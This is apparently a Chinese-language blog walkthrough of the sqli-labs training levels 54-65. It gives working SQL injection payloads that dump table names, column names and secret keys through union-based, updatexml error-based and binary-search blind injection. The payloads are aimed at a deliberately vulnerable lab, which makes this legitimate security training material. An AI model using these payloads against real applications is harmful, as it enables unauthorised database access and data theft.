【Web安全靶场】sqli-labs-master 54-65 Challenges 与62关二分法和like模糊搜索

sqli-labs-master 54-65 Challenges

其他关卡和靶场见专栏…

文章目录

  • sqli-labs-master 54-65 Challenges
    • 第五十四关-联合注入
    • 第五十五关-联合注入
    • 第五十六关-联合注入
    • 第五十七关-联合注入
    • 第五十八关-报错注入
    • 第五十九关-报错注入
    • 第六十关-报错注入
    • 第六十一关-报错注入
    • 第六十二关-二分法与like模糊选择
    • 第63关-第65关-思路都是像62关一样,只是闭合不同而已

第五十四关-联合注入

页面有一串英文,翻译之后为:这个挑战的目的是在不到10个语句或有趣的时间内从数据库(CHALLENGES’)中的随机表中转储(密钥),每次重置,挑战都会产生随机表名、列名和表数据。始终保持新鲜。 这道题只要请求超过10次就失败了,失败的话就重置数据库,下面就给出答案(可能超过10步了,不管了):

  1. 进入界面
?id=1
  1. 引号探针,没有报错信息,判断为报错函数被注释,所以不考虑报错注入
?id=1'
  1. 判断是否为数字型注入,回显的不是1的信息,所以不是数字型注入
?id=2-1
  1. 确定闭合方式为单引号闭合
?id=1' and '1'='1
  1. 确定字段数
?id=1' order by 3 -- #
?id=1' order by 4 -- #
  1. 判断回显位
?id=-1' union select 1,2,3 -- #
  1. 获取数据(每个人的数据都是不一样的)
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- #
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='6rkzuquxqg' and table_schema=database() -- #
?id=-1' union select 1,group_concat(secret_T9CV),3 from 6rkzuquxqg -- #

在这里插入图片描述

第五十五关-联合注入

不翻译了…

  1. 使用引号探针,发现没有报错信息,所以报错注入用不了
?id=1'
  1. 使用2-1,回显的是1的信息,所以判断这是数字型注入
?id=2-1
  1. 使用order by发现没有任何作用,所以尝试了一下括号,发现这是带有括号的数字型
?id=1) order by 3 -- #
  1. 获取数据(每个人数据都不一样)
?id=-1) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- #
?id=-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_name='k8duqrwfn9' and table_schema=database() -- #
?id=-1) union select 1,group_concat(secret_A286),3 from k8duqrwfn9 -- #

在这里插入图片描述

第五十六关-联合注入

不翻译了…

  1. 利用2-1判断数字型,结果不是数字型
  2. 使用引号探针判断闭合,发现没有任何报错信息,所以不能用报错注入了111
  3. 判断闭合方式,发现界面正常回显
?id=1' and '1'='1
  1. 判断是否有括号,回显的是1的信息,所以闭合方式为引号加上括号闭合
?id=2' and '1'='1
  1. 判断字段数、回显位,并且获取数据
?id=1') order by 3 -- # 
?id=1') order by 4 -- # 
?id=-1') union select 1,2,3 -- # 
?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- # 
?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='dl4f4k42zy' and table_schema=database() -- # 
?id=-1') union select 1,group_concat(secret_DCQ2),3 from dl4f4k42zy -- # 

在这里插入图片描述

第五十七关-联合注入

不翻译了…

  1. 使用引号探针发现正常显示(单引号),这九成是双引号有关的了。
  2. 使用双引号探针发现没法显示并且没有报错(不能使用报错注入了),接着后面添加注释符号界面正常显示。
  3. 判断有没有括号,使用1") – #发现没有办法正常显示,所以得出这是双引号加上括号闭合。
  4. 获取字段数、回显位,数据。
?id=1" order by 3 -- #
?id=1" order by 4 -- #
?id=-1" union select 1,2,3 -- #
?id=-1" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- #
?id=-1" union select 1,group_concat(column_name),3 from information_schema.columns where table_name='oa1zfdkjwo' and table_schema=database() -- #
?id=-1" union select 1,group_concat(secret_ZVSW),3 from oa1zfdkjwo -- #

在这里插入图片描述

第五十八关-报错注入

限制在5个语句???!!!不想翻译了…

  1. 使用引号探针,发现回显出报错信息,这是单引号闭合,所以报错注入有望!

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’ LIMIT 0,1’ at line 1

  1. 获取数据!
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #

XPATH syntax error: ‘~q6mi5yatt1’

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='q6mi5yatt1' and table_schema=database())),3) -- #

XPATH syntax error: ‘~id,sessid,secret_64YV,tryy’

?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_64YV) from q6mi5yatt1)),3) -- #

在这里插入图片描述

第五十九关-报错注入

  1. 使用引号探针,回显出报错信息,判断是数字型注入,报错注入有望。

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ LIMIT 0,1’ at line 1

  1. 获取数据。
?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)

XPATH syntax error: ‘~djwt50t0s9’

?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='djwt50t0s9' and table_schema=database())),3)

XPATH syntax error: ‘~id,sessid,secret_0MEE,tryy’

?id=1 and updatexml(1,concat(0x7e,(select group_concat(secret_0MEE) from djwt50t0s9)),3)

在这里插入图片描述

第六十关-报错注入

不想翻译…

  1. 使用引号探针(单引号),回显正常,九成是双引号有关的。
  2. 使用双引号探针,回显出报错信息,判断是双引号加上括号闭合,使用报错注入试一下。

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“1"”) LIMIT 0,1’ at line 1

  1. 获取数据。
?id=1") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #

XPATH syntax error: ‘~ti6jxukf2b’

?id=1") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ti6jxukf2b' and table_schema=database())),3) -- #

XPATH syntax error: ‘~id,sessid,secret_U00Y,tryy’

?id=1") and updatexml(1,concat(0x7e,(select group_concat(secret_U00Y) from ti6jxukf2b)),3) -- #

在这里插入图片描述

第六十一关-报错注入

不想翻译…

  1. 使用引号探针,根据报错信息判断这是单引号加上两个括号闭合,使用报错注入。

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’)) LIMIT 0,1’ at line 1

  1. 构造闭合,获取数据。
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #

XPATH syntax error: ‘~6ze6q3awxl’

?id=1')) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='6ze6q3awxl' and table_schema=database())),3) -- #

XPATH syntax error: ‘~id,sessid,secret_R72X,tryy’

?id=1')) and updatexml(1,concat(0x7e,(select group_concat(secret_R72X) from 6ze6q3awxl)),3) -- #

在这里插入图片描述

第六十二关-二分法与like模糊选择

这一道题限制在130条语句中,所以猜测这是盲注

  1. 使用引号探针发现页面无法正常显示,并且没有报错信息,所以报错注入无效。
  2. 使用2-1,回显的是2的信息所以这不是数字型注入。
  3. 由于使用单引号探针页面无法正常显示则基本可以判断这不是双引号,所以有可能是单引号加上括号,使用注释符页面正常显示:
?id=1') -- #
  1. 使用Union注入结果没有任何回显位,所以考虑盲注。
  2. 获取数据的思路。
?id=1') and if(substr(database(),1,1)='c',1,0) -- #

首先我们知道了数据库名可以直接使用database()。由于密钥是在A-Z和a-z和0-9中选取的,所以直接暴力破解是不可取的,对此有两种应对方法:

  • 使用模糊搜索LIKE!
  • 使用二分法提高搜索效率!
  1. 获取部分表名,0-9的值为48-57,A-Z的值为65-90,a-z的值为97-122,开始爆破第一个值!
?id=1') and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))<58,1,0) -- #

通过上述语句可知第一个字符是数字:

在这里插入图片描述

?id=1') and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))<53,1,0) -- #

通过上述语句可以知道它是5-9之间的:

在这里插入图片描述

…省略

在这里插入图片描述

可以得到第一个数字是5,总共使用了6个请求。

  1. 获取字段名security_xxxx:获取表名之后可以根据table_name like ‘5%’,进行模糊搜索。

总共要爆破1+4+24=28,大约要使用170个请求,剩下看天意吧。

还有一种方法直接爆破24个密钥,就是再加2个select语句就行了,没实践成功纯思路,做出来给我评论。

还有一些奇奇怪怪的优化方法,不想折腾了,因为0-9还有大小写字母的ascii码分三段,所以如果一次请求中使用if嵌套语句,假设不是数字那就让它自动查询字母。

第63关-第65关-思路都是像62关一样,只是闭合不同而已

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2822266.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

抖音视频评论批量采集软件|视频数据提取工具

开发背景&#xff1a; 随着抖音视频的流行和使用频率增加&#xff0c;用户对批量采集抖音视频评论的需求逐渐凸显。传统的下载方式效率低下&#xff0c;无法满足快速采集数据的要求。为了解决这一问题&#xff0c;我们开发了一款基于C#的抖音视频评论批量采集软件&#xff0c;旨…

React富文本编辑器开发(三)

现在我们的编辑器显示的内容很单一&#xff0c;这自然不是我们的目标&#xff0c;让呈现的内容多元化是我们的追求。这就需要让编辑器能够接收多元素的定义。从初始数据的定义我们可以推断数据的格式远不止一种&#xff0c;那么其它类型的数据如何定义及呈现的呢&#xff0c;我…

kohya_ss, stable diffusion 显示MaxRetryError: HTTPSConnectionPool()的解决方法

说白了就是访问huggingface.co下载模型、json配置失败&#xff0c;需要挂梯子。 然而有时候明明开了梯子&#xff0c;网页端可以访问google、huggingface.co却依然报上述错。 这时候说明没有开代理&#xff0c;执行的脚本没有连接上梯子对应的端口。 解决办法&#xff1a;手…

【MySQL】数据库中常用的函数

目录 聚合函数COUNT()函数的多种用法COUNT(*)COUNT(主键)COUNT(1)COUNT(常量)COUNT(非主键)COUNT(distinct(字段)) COUNT()函数小结 字符函数length(str)函数&#xff1a;获取参数值的字节个数concat(str1,str2,...)函数&#xff1a;字符串拼接upper(str)、lower(str)函数:大小…

pdf.js使用步骤

使用pdfjs 网页在线预览需要后端服务器支持 1、下载PDF.js 源码包 地址&#xff1a;PDF.js 2、解压源码包&#xff0c;将源码包放置到后端服务器 3、后端部署完成后 访问 viewer.html 类似上图 4、访问在线pdf文件 http://localhost:8081/web/viewer.html?filexxxx.pdf …

[⑥5G NR]: 无线接口协议,信道映射学习

5G系统整体包括核心网、接入网以及终端部分&#xff0c;接入网与终端间通过无线空口协议栈进行连接。无线接口可分为三个协议层&#xff1a;物理层&#xff08;L1&#xff09;、数据链路层&#xff08;L2&#xff09;和网络层&#xff08;L3&#xff09;。 L1&#xff1a;物理…

JVM运行时数据区——虚拟机栈

文章目录 1、虚拟机栈概述1.1、StackOverflowError1.2、OOM异常 2、栈的存储单位3、局部变量表3.1、局部变量表简介3.2、Slot 4、操作数栈5、栈顶缓存技术6、动态链接7、方法的调用7.1、方法调用的分类7.2、虚方法与非虚方法7.3、关于invokedynamic指令7.4、方法重写的本质7.5、…

学习Fiddler抓包

Fiddler通过代理的方式获取程序http通讯的数据&#xff0c;可以用其检测网页和服务器的交互情况&#xff0c;能够记录所有客户端和服务器间的http请求&#xff0c;支持监视、设置端点、以及修改输入输出数据等功能 本质是一个web代理服务器&#xff0c;它的默认工作端口是8888.…

【24年最新版PythonPycharm安装】保姆级别安装教学!附激活码插件分享~

Python 下载安装 Python可以编译成可执行文件&#xff08;。 py&#xff09;&#xff0c;并通过网络在计算机和其它终端设备上运行。它有内置的数据类型、函数、类和对象&#xff0c;可以将其用于各种目的&#xff0c;例如管理数据和脚本开发。 Python已经成为一种非常流行的…

面试数据库篇(mysql)- 04了解过索引吗?(什么是索引)

索引(index)是帮助MySQL高效获取数据的数据结构(有序)。在数据之外,数据库系统还维护着满足特定查找算法的数据结构(B+树),这些数据结构以某种方式引用(指向)数据, 这样就可以在这些数据结构上实现高级查找算法,这种数据结构就是索引。 B-Tree,B树是…

代码随想录-动态规划

爬楼梯 class Solution {public int climbStairs(int n) {int[] dp new int[n1];dp[0] 1;dp[1] 1;for(int i 2;i < n; i){dp[i] dp[i-1] dp[i-2];}return dp[n];} }746.使用最小花费爬楼梯 class Solution {public int minCostClimbingStairs(int[] cost) {int len …

Verilog语言支持

Verilog语言支持 介绍 本章介绍AMD Vivado™对Verilog硬件描述的合成支持语言 本章包括编码示例。从“coding”下载编码示例文件示例。 Verilog设计 复杂电路的设计通常采用自上而下的方法。 •设计过程的每个阶段都需要不同的规范级别。例如&#xff0c;在体系结构级别&…

成功解决‘OpenpyxlWriter’ object has no attribute ‘save’

成功解决‘OpenpyxlWriter’ object has no attribute ‘save’ &#x1f308; 个人主页&#xff1a;高斯小哥 &#x1f525; 高质量专栏&#xff1a;Matplotlib之旅&#xff1a;零基础精通数据可视化、Python基础【高质量合集】、PyTorch零基础入门教程&#x1f448; 希望得到…

力扣hot100题解(python版41-43题)

41、二叉树的层序遍历 给你二叉树的根节点 root &#xff0c;返回其节点值的 层序遍历 。 &#xff08;即逐层地&#xff0c;从左到右访问所有节点&#xff09;。 示例 1&#xff1a; 输入&#xff1a;root [3,9,20,null,null,15,7] 输出&#xff1a;[[3],[9,20],[15,7]]示例…

C#学习(十四)——垃圾回收、析构与IDisposable

一、何为GC 数据是存储在内存中的&#xff0c;而内存又分为Stack栈内存和Heap堆内存 Stack栈内存Heap堆内存速度快、效率高结构复杂类型、大小有限制对象只能保存简单的数据引用数据类型基础数据类型、值类型- 举个例子 var c new Customer{id: 123,name: "Jack"…

【PyTorch】成功解决AttributeError: ‘Tuple‘ object has no attribute ‘cuda‘

【PyTorch】成功解决AttributeError: ‘Tuple‘ object has no attribute ‘cuda‘ &#x1f308; 个人主页&#xff1a;高斯小哥 &#x1f525; 高质量专栏&#xff1a;Matplotlib之旅&#xff1a;零基础精通数据可视化、Python基础【高质量合集】、PyTorch零基础入门教程&…

JAVASE初认识

1.初认识其结构 1.源文件&#xff08;扩展名为*.java)&#xff1a;源文件带有类的定义。类用来表示程序的一个组件&#xff0c;小程序或许只会有一个类。类的内容必须包含在花括号里面。 2.类&#xff1a;类中带有一个或多个方法。方法必须在类的内部声明。 3.方法&#xff1…

CAPL组装IPv4分片包的三种思路(2)

2、使用CAPL的函数自动生成一条完整的ICMPv4 Echo Request报文,然后把数据手动放入两个分片报文中 首先生成一条完整的icmp报文: ethernetPacket ppkt1;//icmpv4 echo requestbyte data[1] = {10};//icmpv4 echo request datappkt1.icmpv4.echo…

【JavaEE】_前端使用GET请求的queryString向后端传参

目录 1. GET请求的query string 2. 关于query string的urlencode 1. GET请求的query string 1. 在HttpServletRequest请求中&#xff0c;getParameter方法用于在服务器这边获取到请求中的参数&#xff0c;主要在query string中&#xff1b; query string中的键值对都是程序…

使用Python语言实现一个基于动态数组的序列队列

一、动态数组的实现 首先&#xff0c;我们需要创建一个DynamicArray类&#xff0c;该类将管理我们的动态数组。 动态数组能够动态地调整其大小&#xff0c;以容纳更多的元素。 目录 一、动态数组的实现 代码示例&#xff1a; 二、序列队列的实现 接下来&#xff0c;我…